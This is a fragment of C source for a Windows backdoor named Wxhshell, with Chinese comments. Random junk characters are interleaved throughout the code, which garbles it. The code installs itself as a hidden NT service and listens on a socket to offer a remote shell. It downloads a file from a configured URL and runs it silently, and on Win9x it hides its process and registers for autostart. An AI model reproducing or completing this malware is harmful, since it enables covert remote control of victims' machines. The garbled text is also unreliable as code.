StartWxhshell(LPSTR lpCmdLine) T0ebW
w { (P[:g SOCKET wsl; _s
Z9p4] BOOL val=TRUE; :YU_ \EV int port=0; Xj&fWuA struct sockaddr_in door; --S2lN/:T z5v)~+"1 if(wscfg.ws_autoins) Install(); V\"x#uB m]$!wp port=atoi(lpCmdLine); T^ ^o ~g+?]Lk} if(port<=0) port=wscfg.ws_port; %klC&
_g~_ mh"&KX86W WSADATA data; lmZSsx if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wej 8YF@ T,,,+gPx if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S3u>a\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '8v^.gZ door.sin_family = AF_INET; ~JsTHE$F door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ax4nx!W, door.sin_port = htons(port); '@h5j6:2 YAqv: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }^;Tt-*k closesocket(wsl); %+U.zd$ return 1; H\7Qf8s|{ } %B$~yx3# A7|!&fi if(listen(wsl,2) == INVALID_SOCKET) { 3eqnc),Z closesocket(wsl); )Ab!R:4 return 1; F{a- - } y8uB>z+#+; Wxhshell(wsl); t/\J WSACleanup(); ++Qg5FukR gf^"sfNk return 0; @54D<Lj MMglo3 } jiMI&cl ^ 9
gFW $] // 以NT服务方式启动 *4;MO2g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VQO6!ToKY { iw <2|]>l DWORD status = 0; PK@hf[YHe DWORD specificError = 0xfffffff; B(x i
^<#08L; serviceStatus.dwServiceType = SERVICE_WIN32; _6"!y
]Q serviceStatus.dwCurrentState = SERVICE_START_PENDING; FV>LD% uu serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )pV5l|` serviceStatus.dwWin32ExitCode = 0; "If]qX(w serviceStatus.dwServiceSpecificExitCode = 0; ixZ w;+h serviceStatus.dwCheckPoint = 0; q[#2` serviceStatus.dwWaitHint = 0; ,c#=qb8"" 8*;88vW"2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sG`:mc~0 if (hServiceStatusHandle==0) return; JW ;DA E< ,lLkAd?q status = GetLastError(); 4i>sOP3
B if (status!=NO_ERROR) gwtR<2,p { 3zU!5tg serviceStatus.dwCurrentState = SERVICE_STOPPED; BD+V{x}P serviceStatus.dwCheckPoint = 0; 7RQ.oee serviceStatus.dwWaitHint = 0; 8_6\>hW& serviceStatus.dwWin32ExitCode = status; ORhe?E] serviceStatus.dwServiceSpecificExitCode = specificError; ?+)O4?# SetServiceStatus(hServiceStatusHandle, &serviceStatus); c0.i return; fJ_d,4 } I6d4<#Q@L s+;J`_M serviceStatus.dwCurrentState = SERVICE_RUNNING; ^| L@f serviceStatus.dwCheckPoint = 0; GE]cH6E serviceStatus.dwWaitHint = 0; fX=o,=-f if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZtPq*/' } yES+0D 5< z;GR(;w/ // 处理NT服务事件,比如:启动、停止 C=&7V VOID WINAPI NTServiceHandler(DWORD fdwControl) )#
le|Rf { pZ?7'+u$L switch(fdwControl) ~wmc5L/!? { b13XHR)0 case SERVICE_CONTROL_STOP: @0cQ4} serviceStatus.dwWin32ExitCode = 0; ?YzOA${ serviceStatus.dwCurrentState = SERVICE_STOPPED; og<mFbqkq7 serviceStatus.dwCheckPoint = 0; C
7)w8y serviceStatus.dwWaitHint = 0; X#KC<BXw, { <<}t&qE%2% SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fp52|w_ } ] RgLTqv4x return; WV]%llj^ case SERVICE_CONTROL_PAUSE: ]]~tFdh serviceStatus.dwCurrentState = SERVICE_PAUSED; E^z\b * break; E_-3G<rt case SERVICE_CONTROL_CONTINUE: >h+[#3vD serviceStatus.dwCurrentState = SERVICE_RUNNING; K]4XD1n7 break; V3j1M?> case SERVICE_CONTROL_INTERROGATE: ns|)VX break; )&R^J;W$M1 }; CPssk,q~C SetServiceStatus(hServiceStatusHandle, &serviceStatus); }!=}g|z#| } qP6Yn JWl q 65mR!) // 标准应用程序主函数 "L'0" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,f
..46G { /,v>w, 0Q^ -d+! // 获取操作系统版本 YY~BNQn6d OsIsNt=GetOsVer(); V7}5Zw1 GetModuleFileName(NULL,ExeFile,MAX_PATH); 34ij5bko_) 3T)GUzt` // 从命令行安装 +L(0R&C if(strpbrk(lpCmdLine,"iI")) Install(); i;4|UeUl /[Oo*}Dc=F // 下载执行文件 "iFA&$\ if(wscfg.ws_downexe) { 7?Vo([8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aChyl;#E WinExec(wscfg.ws_filenam,SW_HIDE); +DMD
g. } DU9A 3Z bqjj6bf'o if(!OsIsNt) { CG!/Lbd // 如果时win9x,隐藏进程并且设置为注册表启动 Q>qx?
g HideProc(); "/ G^+u StartWxhshell(lpCmdLine); f>$Ld1 } F/c7^ else l
AF/O5b if(StartFromService()) !Z+4FwF // 以服务方式启动 {k.Dy92 StartServiceCtrlDispatcher(DispatchTable); L'XX++2 else 1T(:bM_t`7 // 普通方式启动 Wez"E2J` StartWxhshell(lpCmdLine); ?M'_L']N[ x2gnB@t return 0; W\xM$#)m }
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